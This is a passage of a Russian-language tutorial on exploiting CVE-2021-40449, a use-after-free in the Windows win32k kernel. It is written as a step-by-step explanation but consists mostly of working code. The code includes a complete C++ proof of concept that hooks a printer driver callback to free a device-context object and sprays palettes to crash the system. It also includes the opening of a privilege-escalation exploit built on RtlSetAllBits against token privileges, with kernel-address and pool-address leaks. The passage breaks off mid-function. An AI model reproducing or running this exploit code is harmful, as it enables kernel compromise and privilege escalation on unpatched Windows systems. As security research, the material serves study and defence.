if ((((*(uint *)(local_70[0] + 0x24) & 0x100) != 0x0) || (*(int *)(local_70[0] + 0x20) == 0x1))
|| (-0x1 < (char)*(undefined4 *)(po + 0x28))) goto LAB_1c01b4877;
iVar6 = *(int *)(local_70[0] + 0x6c);
lVar1 = *(longlong *)(local_70[0] + 0x1f0);
iVar2 = XDCOBJ::bCleanDC((XDCOBJ *)local_70,0x0);
if (((iVar2 != 0x0) && (*(int *)(po + 0x8) == 0x1)) &&
(newDC = hdcOpenDCW(L"",pdmw,0x0,0x0,*(undefined8 *)(po + 0xa00),local_78,pDriverInfo2,
ppUMdhpdev,0x0), newDC != 0x0)) { // 3
*(undefined8 *)(po + 0xa00) = 0x0;
DCOBJ::DCOBJ(local_60,newDC);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
if (0x0 < iVar6) {
*(undefined4 *)(local_60[0] + 0x6c) = *(undefined4 *)(local_60[0] + 0x68);
}
*(undefined8 *)(local_60[0] + 0x808) = *(undefined8 *)(local_70[0] + 0x808);
*(undefined8 *)(local_70[0] + 0x808) = 0x0;
*(undefined8 *)(local_60[0] + 0x810) = *(undefined8 *)(local_70[0] + 0x810);
*(undefined8 *)(local_70[0] + 0x810) = 0x0;
if (*(code **)(po + 0xab8) != NULL) {
(**(code **)(po + 0xab8))
(*(undefined8 *)(po + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708)); // 4
}
GreAcquireHmgrSemaphore();
HmgSwapLockedHandleContents(hdc,0x0,newDC,0x0,0x1);
GreReleaseHmgrSemaphore();
iVar5 = 0x1;
}
if (local_60[0] != NULL) {
XDCOBJ::vUnlockFast(local_60);
}
}
local_78._0_4_ = (uint)(lVar1 != 0x0);
}
iVar6 = 0x0;
if (local_70[0] != NULL) {
XDCOBJ::vUnlockFast(local_70);
}
if (iVar5 == 0x0) {
return 0x0;
}
bDeleteDCInternal(newDC,0x1,0x0); // 5
DCOBJ::DCOBJ(local_60);
if (local_60[0] == NULL) {
EngSetLastError(0x6);
}
else {
local_78 = *(longlong *)(local_60[0] + 0x30);
if ((uint)local_78 == 0x0) {
*(undefined4 *)pbBanding = 0x0;
iVar6 = iVar5;
}
else {
iVar2 = PDEVOBJ::bMakeSurface((PDEVOBJ *)&local_78,NULL);
if (iVar2 == 0x0) goto LAB_1c0147381;
DC::pSurface(local_60[0]);
uVar4 = *(uint *)(*(longlong *)(local_78 + 0x9f8) + 0x70) & 0x2000000;
*(uint *)pbBanding = uVar4;
if (uVar4 != 0x0) {
*(undefined8 *)(local_60[0] + 0x200) =
*(undefined8 *)(*(longlong *)(local_78 + 0x9f8) + 0x38);
DC::bSetDefaultRegion(local_60[0]);
}
if (*(code **)(local_78 + 0xb98) != NULL) {
// Call
(**(code **)(local_78 + 0xb98))
(-(ulonglong)(*(longlong *)(local_78 + 0x9f8) != 0x0) &
*(longlong *)(local_78 + 0x9f8) + 0x18U,0x0,0x0);
iVar6 = iVar5;
}
}
if ((iVar6 != 0x0) && (uVar7 != 0x0)) {
DC::bMakeInfoDC(local_60[0],0x1);
}
}
LAB_1c0147381:
if (local_60[0] != NULL) {
XDCOBJ::vUnlockFast(local_60);
}
return iVar6;
}
Разберём по пунктам:
- В местах под номерами 1 и 2 создаётся новый DCOBJ.
- Под цифрой 4 - упомянутый мной выше переход по адресу в памяти.
- И под цифрой 5 - освобождение DCOBJ из памяти.
win32kbase!hdcOpenDCW, и я объясню почему этот вызов играет ключевую роль:
C++:
HDC__ * hdcOpenDCW(unsigned_short *param_1,_devicemodeW *param_2,int param_3,int param_4,
void *param_5,tagREMOTETYPEONENODE *param_6,HDC__ *param_7,undefined8 *param_8,
int param_9)
{
void *pvVar1;
ulonglong uVar2;
int iVar3;
longlong lVar4;
HDC__ *pHVar5;
_LDEV *p_Var6;
longlong lVar7;
undefined8 *puVar8;
unsigned_short *local_res8;
ulonglong in_stack_ffffffffffffff50;
ulonglong in_stack_ffffffffffffff58;
ulonglong in_stack_ffffffffffffff60;
undefined8 local_68;
longlong local_60;
longlong local_58;
undefined local_50 [0x10];
longlong local_40 [0x3];
// 0x3d360 2436 hdcOpenDCW
uVar2 = (ulonglong)param_7;
pHVar5 = NULL;
param_7 = (HDC__ *)((ulonglong)param_7 & 0xffffffff00000000 | (ulonglong)(param_7 != NULL));
local_res8 = param_1;
if ((param_1 != NULL) && (uVar2 == 0x0)) {
lVar7 = 0x0;
lVar4 = 0x0;
RtlInitUnicodeString(local_50,param_1);
EnterSharedCrit(0x0,0x1);
EngAcquireSemaphore(ghsemDynamicModeChange);
EtwTraceGreLockAcquireSemaphoreExclusive(L"ghsemDynamicModeChange",ghsemDynamicModeChange,0x1);
if (param_9 == 0x0) {
if (param_2 == NULL) {
lVar4 = DrvGetHDEV(local_50);
if ((param_4 != 0x0) && (param_3 == 0x0)) {
pHVar5 = (HDC__ *)UserGetMonitorDC(lVar4);
}
...
else {
PDEVOBJ::PDEVOBJ((PDEVOBJ *)&local_res8,p_Var6,param_2,local_res8,
*(unsigned_short **)(uVar2 + 0x20),*(unsigned_short **)(uVar2 + 0x8),pvVar1,
param_6,NULL,NULL,(int)param_7,0x0,0x0);
...
Я убрал всё лишнее, и оставил только то, что нам нужно - вызов PDEVOBJ::PDEVOBJ. Функция достаточно большая, так что я приведу лишь интересный нам кусок:
C++:
void __thiscall
PDEVOBJ::PDEVOBJ(PDEVOBJ *this,_LDEV *param_1,_devicemodeW *param_2,unsigned_short *param_3,
unsigned_short *param_4,unsigned_short *param_5,void *param_6,
tagREMOTETYPEONENODE *param_7,_GDIINFO *param_8,tagDEVINFO *param_9,int param_10,
unsigned_long param_11,unsigned_long param_12)
{
...
pDVar14 = EnablePDEV((PDEVOBJ *)&local_210,param_2,param_3,
(unsigned_long)(_GDIINFO *)(pHVar13 + 0x858),(HSURF__ **)(pHVar13 + 0x5b0),
in_stack_fffffffffffffda0,(_GDIINFO *)(pHVar13 + 0x858),
in_stack_fffffffffffffdb0,(tagDEVINFO *)(pHVar13 + 0x720),pHVar13,
(unsigned_short *)local_228,local_220);
...
}
Теперь листинг для EnablePDEV:
C++:
DHPDEV__ * __thiscall
PDEVOBJ::EnablePDEV(PDEVOBJ *this,_devicemodeW *param_1,unsigned_short *param_2,
unsigned_long param_3,HSURF__ **param_4,unsigned_long param_5,_GDIINFO *param_6,
unsigned_long param_7,tagDEVINFO *param_8,HDEV__ *param_9,
unsigned_short *param_10,void *param_11)
{
DHPDEV__ *pDVar1;
pDVar1 = (DHPDEV__ *)
(**(code **)(*(longlong *)this + 0xa80))
(param_1,param_2,0x6,param_4,0x140,param_6,0x138,param_8,param_9,param_10,
param_11);
return pDVar1;
}
Функция EnablePDEV представляет собой callback к фукнции DrvEnablePDEV. При желании мы можем подменить адрес DrvEnablePDEV своим хуком в пользовательском режиме - это и есть ключевой момент. Который позволит нам повторно использовать объект, освободить его из памяти и вызвать UAF.
Как же вызвать освобождение объекта и подменить вызываемый адрес в памяти? Держа всё вышесказанное в голове, пройдёмся по порядку:
- Вызвать NtGdiResetDC, из которого мы попадём в GreResetDCInternal
- На моменте вызова hdcOpenDCW мы попадём в EnablePDEV, который вызовет callback. На callback DrvEnablePDEV, мы предварительно вешаем хук, который повторно вызывает NtGdiResetDC.
- В процессе повторого выполнения GreResetDCInternal, существующий объект DCOBJ будет освобождён из памяти.
- NtGdiResetDC вернётся, вернётся Callback DrvEnablePDEV и продолжится выполнение первого вызова GreResetDCInternal, но уже с освобождённым объектом DCOBJ
Для проверки всего вышеописанного сценария, давайте напишем PoC который вызовет BSOD. Первым делом напишем шаблон:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
int main() {
printf("[*] Verifying vulnerability consept\n");
return 0;
}
Для того чтобы достичь функции NtGdiResetDC, нужно вызвать ResetDC(). Но перед тем как вызывать уязвимость, давайте повесим хук на callback DrvEnablePDEV. Определим функцию SetUpHook(), и найдём все принтеры в системе:
C++:
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
}
Теперь добавим цикл, который будет итерироваться по принтерам. Я отметил все важные места цифрами, ниже я опишу что делает отмеченный код:
C++:
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) { // 1
printf(" --- Can't open printer!\n");
continue;
}
else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded); // 2
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) { // 3
printf(" --- Can't get printer driver\n");
continue;
}
else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); // 4
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver"); // 5
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) { // 6
printf(" --- Can't enable driver!\n");
continue;
}
else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) { // 7
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) { // 8
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver(); // 9
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect); // 10
return true;
}
Разберём весь цикл по пунктам:
- Вызов OpenPrinterW, открываем принтер. В случае если этот вызов не пройдёт, мы просто перейдём к следующей итерации
- Первый вызов GetPrinterDriverW нужен для определения требуемого размера буффера.
- А второй для получения данных драйвера принтера.
- LoadLibraryExW загружает драйвер принтера
- Получаем нужные адреса функций(DrvEnableDriver и DrvDisableDriver)
- Вызов DrvEnableDriver, для включения драйвера
- Изменяем свойства страницы памяти, где драйвер хранит указатели на функции(Старые свойства сохраняем, и заменяем на PAGE_READWRITE)
- Здесь внутри цикла мы проверяем имя колбэка. Если имя совпадает с DrvEnablePDEV, мы подменяем адресс функции ссылкой на нашу fnHook, а старый адресс сохраняем.
- Вызываем DrvDisableDriver, отключаем драйвер
- Возвращаем свойства страницы с адресами колбэков
Вот структура hooks, использованная на шаге 8:
C++:
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
Первое поле структуры это индекс функции, а второе - указатель на функцию. И наконец origFuncs:
C++:
_VoidFunc origFuncs[INDEX_LAST];
Надеюсь суть понятна. Эта же функция перекочует в итоговый эксплоит, так что запомните её.
Остался последний шаг - функция fnHook:
C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
}
return ret;
}
Мы принимаем все аргументы оригинального вызова и передаем в старую функцию, сохранённую в origFuncs. Затем, в конце функции возвращаем результат оригинального вызова. По середине распологается условная конструкция if, проверяющая глобальную переменную flag. Наличие переменной flag гарантирует, что уязвимость не будет вызвана раньше, чем нам это потребуется.
Остался последний штрих - Несмотря на то что объект будет освобождён, его место не будет занято, поэтому указатель не будет переписан и останется валидным. Для того чтобы подтвердить концепцию уязвимости, нам нужно переписать старый объект. Делать это нужно сразу после повторого вызова NtGdiResetDC, тоесть прямо в функции fnHook. Для выделения объектов контролируемого размера, воспользуемся примитивом выделения палеток контролируемого размера. Плюс именно этого варианта в том, что мы можем контролировать не только размер но и содержание выделяемого объекта, запомните, это пригодится нам позже. Суммируя всё вышесказаное получаем следующую функцию fnHook:
C++:
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) {
CreatePalette(lPalette);
}
}
return ret;
}
Код вызывает ResetDCW во второй раз, освобождая DCOBJ. После этого выделяет 0x5000 палеток размером 0xe20, для того чтобы переписать только что освобождённый объект мусором.
И так вот итоговый код проверки концепции:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
typedef struct _hookData
{
ULONG index;
LPVOID func;
} hookData;
typedef BOOL(*_DrvEnableDriver)(
ULONG iEngineVersion,
ULONG cj,
DRVENABLEDATA* pded);
typedef DHPDEV(*_DrvEnablePDEV)(
DEVMODEW* pdm,
LPWSTR pwszLogAddress,
ULONG cPat,
HSURF* phsurfPatterns,
ULONG cjCaps,
ULONG* pdevcaps,
ULONG cjDevInfo,
DEVINFO* pdi,
HDEV hdev,
LPWSTR pwszDeviceName,
HANDLE hDriver);
typedef VOID(*_VoidFunc)();
LPWSTR printerName;
HDC hdc;
bool flag;
_VoidFunc origFuncs[INDEX_LAST];
DHPDEV fnHook(DEVMODEW* pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF* phsurfPatterns, ULONG cjCaps, ULONG* pdevcaps, ULONG cjDevInfo, DEVINFO* pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver) {
DHPDEV ret = ((_DrvEnablePDEV)origFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
if (flag) {
flag = false;
printf("[*] Triggering vulnerability\n");
HDC loc_hdc = ResetDCW(hdc, NULL);
int size = 0xe20;
int palette_entry_count = (size - 0x90) / 4;
int palette_size = sizeof(LOGPALETTE) + (palette_entry_count - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
for (int i = 0; i < 0x5000; i++) {
CreatePalette(lPalette);
}
}
return ret;
}
hookData hooks[] = {
{INDEX_DrvEnablePDEV, (LPVOID)fnHook},
};
BOOL SetUpHook() {
DWORD pcbNeeded, pcbRet;
EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbRet);
if (pcbNeeded <= 0) { printf("[!] Can't enum printers!\n"); exit(-1); }
PRINTER_INFO_4W* printerEnum = (PRINTER_INFO_4W*)malloc(pcbNeeded);
if (!EnumPrintersW(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)printerEnum, pcbNeeded, &pcbNeeded, &pcbRet)) {
printf("[!] Can't enum printers!\n");
exit(-1);
}
PRINTER_INFO_4W* info;
HANDLE printer;
HMODULE driver;
DRIVER_INFO_2W* driverInfo;
_DrvEnableDriver DrvEnableDriver;
_VoidFunc DrvDisableDriver;
DRVENABLEDATA drvEnableData;
DWORD oldProtect, _oldProtect;
for (int i = 0; i < pcbRet; i++) {
info = &printerEnum[i];
printf("[*] Printer: %ws\n", info->pPrinterName);
if (!OpenPrinterW(info->pPrinterName, &printer, NULL)) {
printf(" --- Can't open printer!\n");
continue;
}
else {
printf(" --> Opened printer!\n");
}
printerName = _wcsdup(info->pPrinterName);
GetPrinterDriverW(printer, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
if (!GetPrinterDriverW(printer, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded)) {
printf(" --- Can't get printer driver\n");
continue;
}
else {
printf(" --> Got printer driver: %ws\n", driverInfo->pDriverPath);
}
driver = LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (driver == NULL) { printf(" --- Can't load printer driver\n"); continue; }
else { printf(" --> Loaded driver!\n"); }
DrvEnableDriver = (_DrvEnableDriver)GetProcAddress(driver, "DrvEnableDriver");
DrvDisableDriver = (_VoidFunc)GetProcAddress(driver, "DrvDisableDriver");
if (!DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData)) {
printf(" --- Can't enable driver!\n");
continue;
}
else {
printf(" --> Enabled driver!\n");
}
if (!VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &oldProtect)) {
printf(" --- Can't unprotect priver callback table\n");
continue;
}
for (int i = 0; i < sizeof(hooks) / sizeof(hookData); i++) {
for (int n = 0; n < drvEnableData.c; n++) {
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
if (hooks[i].index == iFunc) {
origFuncs[iFunc] = (_VoidFunc)drvEnableData.pdrvfn[n].pfn;
drvEnableData.pdrvfn[n].pfn = (PFN)hooks[i].func;
break;
}
}
}
DrvDisableDriver();
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), oldProtect, &_oldProtect);
return true;
}
return false;
}
int main() {
printf("[*] Verifying vulnerability consept\n");
if (!SetUpHook()) {
printf("[!] Couldn't hook function!\n");
return 1;
}
else {
printf("[+] Hooked a function!\n");
}
hdc = CreateDCW(NULL, printerName, NULL, NULL);
if (hdc == NULL) { printf("[!] Can't create device context\n"); return 1; }
flag = true;
ResetDCW(hdc, NULL);
Sleep(1000);
return 0;
}
Запустив получившийся код, мы должны получить BSOD из за вызова невалидного указателя. Давайте проверим это.
Сперва запускаем код:
Получаем следующее сообщение в отладчике:
Как видно из сообщения, мы получили Fatal System Error, с кодом 0x139. Майкрософт пишет следующее - https://docs.microsoft.com/en-us/wi...ug-check-0x139--kernel-security-check-failure. Тоесть "corruption of a critical data structure" - Повреждение критической структуры данных.
Кроме этого, если присмотреться, видно строку 0x0404040404040404. Напомню что четвёрками мы заполняли нашу палетку:
C++:
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palette_size);
memset(lPalette, 0x4, palette_size);
lPalette->palNumEntries = palette_entry_count;
lPalette->palVersion = 0x300;
И как результат - BSOD:
Чтож, концепция подтверждена. Настало время для разработки эксплойта!
Эксплоит
Функция RtlSetAllBits
Для начала определимся с тем, чем подменим вызываемый адрес из памяти, и вокруг этого построим весь остальной эксплоит. Типичным решением в подобной ситуации, будет адрес функции RtlSetAllBits. Давайте я подробно опишу примитив который мы будем использовать:
Функция RtlSetAllBits, устанавливает все биты в передаваемом ей bitmap. Выглядит так:
C++:
NTSYSAPI VOID RtlSetAllBits(
[in] PRTL_BITMAP BitMapHeader
);
Зачем нам это нужно? А за тем, что если BitMapHeader, будет указывать на _SEP_TOKEN_PRIVILEGES, то мы сможем изменить привилегии токена текущего процесса!
Ранее, в своих статьях я не описывал подобную технику. В предыдущей статье с эксплуатацией CVE-2016-3309, мы просто достигли примитивов произвольного чтения и записи, а затем поменяли токен текущего процесса с системным. В этот раз такой трюк не пройдёт. Всё что у нас есть это вызов адреса функции и один аргумент для неё.
Если вы вниматьельно смотрели на вызов адреса из памяти в функции GreResetDCInternal, то обратили внимание на передеваемые в этот вызов аргументы:
C++:
(**(code **)(lVar1 + 0xab8))
(*(undefined8 *)(lVar1 + 0x708),
*(undefined8 *)(*(longlong *)(local_60[0] + 0x30) + 0x708));
Как видите, первый аргумент, берётся из того же объекта что и указатель на вызываемую функцию. После повторого вызова GreResetDCInternal, и освобождения DCOBJ, благодаря использованию примитива выделения палеток контролируемого размера и содержания, мы можем контролировать не только адрес вызываемой фукнции но и первый аргумент! Идеальное место для использования RtlSetAllBits.
Раз уж мы определились с тем что будем вызывать, давайте определимся с аргументом. А для этого, я чуть подробнее остановлюсь на том как работает изменение привилегий токена процесса:
Изменение привилегий токена процесса
Для начала давайте взглянем на структуру _TOKEN:
C++:
struct _TOKEN
{
struct _TOKEN_SOURCE TokenSource; //0x0
struct _LUID TokenId; //0x10
struct _LUID AuthenticationId; //0x18
struct _LUID ParentTokenId; //0x20
union _LARGE_INTEGER ExpirationTime; //0x28
struct _ERESOURCE* TokenLock; //0x30
struct _LUID ModifiedId; //0x38
struct _SEP_TOKEN_PRIVILEGES Privileges; //0x40
struct _SEP_AUDIT_POLICY AuditPolicy; //0x58
ULONG SessionId; //0x78
ULONG UserAndGroupCount; //0x7c
ULONG RestrictedSidCount; //0x80
ULONG VariableLength; //0x84
...
}
Я убрал не интересную нам часть структуры. Обратите вниманиме на поле Privileges, и на его смещение(0x40). Поле представляет собой структуру _SEP_TOKEN_PRIVILEGES:
C++:
//0x18 bytes (sizeof)
struct _SEP_TOKEN_PRIVILEGES
{
ULONGLONG Present; //0x0
ULONGLONG Enabled; //0x8
ULONGLONG EnabledByDefault; //0x10
};
Я запустил powershell.exe на виртуальной машине, чтобы взглянуть на структуру _SEP_TOKEN_PRIVILEGES в реальном процессе. Вот как выглядит вывод команды whoami /all:
А так выглядит структура _SEP_TOKEN_PRIVILEGES, для процесса powershell.exe:
Теперь давайте сравним _SEP_TOKEN_PRIVILEGES у процесса powershell.exe и system:
Красным подчёркнуты поля Present и Enabled у _SEP_TOKEN_PRIVILEGES системы, а зелёным - у powershell.exe. Значения полей у powershell.exe - значительно меньше.
Я заменил поля Present и Enabled для powershell на системные(изменённые поля отмечены синим). Теперь давайте взглянем на вывод whoami /all, для процесса powershell.exe с изменёнными полями:
Привилегии совпадают с системными! Надеюсь суть того, как работает техника изменения токена процесса теперь ясна.
Фейковый BitMapHeader
Осталось разобраться с ещё парой деталей, одна из них - фейковый BitMapHeader. Дело в том что в функцию RtlSetAllBits(), мы передаём указатель на RTL_BITMAP:
C++:
NTSYSAPI VOID RtlSetAllBits(
[in] PRTL_BITMAP BitMapHeader
);
Для создания структуры RTL_BITMAP в памяти, мы воспользуемся примитивом ThreadName. Есть статья от автора техники, но она на английском и достаточно длинная, так что я вкратце опишу то, как это работает:
Давайте взглянем на структуру _ETHREAD:
C++:
//0x810 bytes (sizeof)
struct _ETHREAD
{
struct _KTHREAD Tcb; //0x0
union _LARGE_INTEGER CreateTime; //0x5f0
union
{
union _LARGE_INTEGER ExitTime; //0x5f8
struct _LIST_ENTRY KeyedWaitChain; //0x5f8
};
...
struct _UNICODE_STRING* ThreadName; //0x7d0
...
};
Я убрал лишнее, оставив только ThreadName. Это указатель на _UNICODE_STRING.
Это поле в _ETHREAD, изменяется функцией
kernelbase.dll!SetThreadDescription:
C++:
HRESULT __stdcall SetThreadDescription(HANDLE hThread, PCWSTR lpThreadDescription) {
NTSTATUS v3; // eax
_UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h] BYREF
v3 = RtlInitUnicodeStringEx(&DestinationString, lpThreadDescription);
if ( v3 >= 0 )
v3 = NtSetInformationThread(hThread, ThreadDescriptorTableEntry|0x20, &DestinationString, 0x10u);
return v3 | 0x10000000;
}
Вся функция по сути сводится к вызову
nt!NtSetInformationThread, вот листинг:
C++:
NTSTATUS __stdcall NtSetInformationThread(HANDLE ThreadHandle, THREADINFOCLASS ThreadInformationClass, PVOID ThreadInformation, ULONG ThreadInformationLength)
{
...
v36 = (char *)ExAllocatePoolWithTag(NonPagedPoolNx, LOWORD(Src[0]) + 0x10i64, 'mNhT');
...
}
Тоесть при вызове NtSetInformationThread, мы можем вызвать выделение в NonPagedPoolNx, контролируемого размера и содержания. Кроме того зная размер и тэг, мы можем найти адрес полученого выделения, при помощи NtQuerySystemInformation. Вот код, который выполнит подобный поиск:
C++:
typedef struct {
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
}
BIG_POOL_INFO, *PBIG_POOL_INFO;
ULONG_PTR LookForThreadNamePoolAddress(PVOID pSystemBigPoolInfoBuffer, DWORD64 dwExpectedSize) {
ULONG_PTR StartAddress = (ULONG_PTR)pSystemBigPoolInfoBuffer;
ULONG_PTR EndAddress = StartAddress + 8 + *( (PDWORD)StartAddress ) * sizeof(BIG_POOL_INFO);
ULONG_PTR ptr = StartAddress + 8;
while (ptr < EndAddress) {
PBIG_POOL_INFO info = (PBIG_POOL_INFO) ptr;
if( strncmp( info->PoolTag, "ThNm", 4)==0 && dwExpectedSize==info->PoolSize ) {
return (((ULONG_PTR)info->Address) & 0xfffffffffffffff0) + sizeof(UNICODE_STRING);
}
ptr += sizeof(BIG_POOL_INFO);
}
return 0;
}
Что-ж, на данный момент мы разобрали почти все основные моменты. Остальные детали я разъясню по ходу написания. Давайте писать эксплоит!
Пишем эксплоит
Первым делом - шаблон:
C++:
#include <Windows.h>
#include <iostream>
#include <winternl.h>
#include <winddi.h>
int main() {
printf("[*] Starting exploit for CVE-2021-40449 Windows 10.0.17763.1757\n");
return 0;
}
Теперь получим pid и подгрузим библиоткети:
C++:
pid = GetCurrentProcessId();
printf("[*] Current process pid: %i\n", pid);
HMODULE nt = LoadLibraryA("ntdll.dll");
HMODULE kernel = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
Получим адресс ntoskrnl.exe. Довольно просто метод, с использованием EnumDeviceDrivers:
CoffeeScript:
ULONG lpcbNeeded;
EnumDeviceDrivers(NULL, 0, &lpcbNeeded);
DWORD64* drivers = (DWORD64*)malloc(lpcbNeeded);
if (!EnumDeviceDrivers((LPVOID*)drivers, lpcbNeeded, &lpcbNeeded)) {
printf("[!] Can't get kernel address, EnumDeviceDrivers() error!\n");
return 1;
}
DWORD64 kernelAddr = drivers[0]; // it's ntoskrnl.exe
free(drivers);
printf("[+] Got kernel address: 0x%llx\n", kernelAddr);
Теперь найдём NtQuerySystemInformation n NtSetInformationThread. Кроме того сразу получим адресс RtlSetAllBits:
C++:
fnNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(nt, "NtQuerySystemInformation");
fnNtSetInformationThread = (_NtSetInformationThread)GetProcAddress(nt, "NtSetInformationThread");
DWORD64 offRtlSetAllBits = (DWORD64)GetProcAddress(kernel, "RtlSetAllBits");
fnRtlSetAllBits = (DWORD64)kernelAddr + offRtlSetAllBits - (DWORD64)kernel;
printf("[+] Got needed function addresses: \n --> NtQuerySystemInformation: 0x%llx\n --> NtSetInformationThread: 0x%llx\n --> RtlSetAllBits: 0x%llx\n", DWORD64)fnNtQuerySystemInformation, (DWORD64)fnNtSetInformationThread, (DWORD64)fnRtlSetAllBits);
Следующим нам нужно получить адрес токена текущего процесса. Для этого сначала добавим функцию которая получая хендлер объекта, вернёт нам его адресс в памяти ядра.
Я проставил цифры в ключевых местах:
C++:
DWORD64 PtrFromHandle(HANDLE handle, DWORD type) {
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20); //1
ULONG returnLength = 0x20;
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 2
free(handleInfo);
handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(returnLength);
fnNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, handleInfo, returnLength, &returnLength); // 3
for (int i = 0; i < handleInfo->NumberOfHandles; i++) { // 4
if (handleInfo->Handles[i].UniqueProcessId = pid && handleInfo->Handles[i].ObjectTypeIndex == type && handle == (HANDLE)handleInfo->Handles[i].HandleValue) {
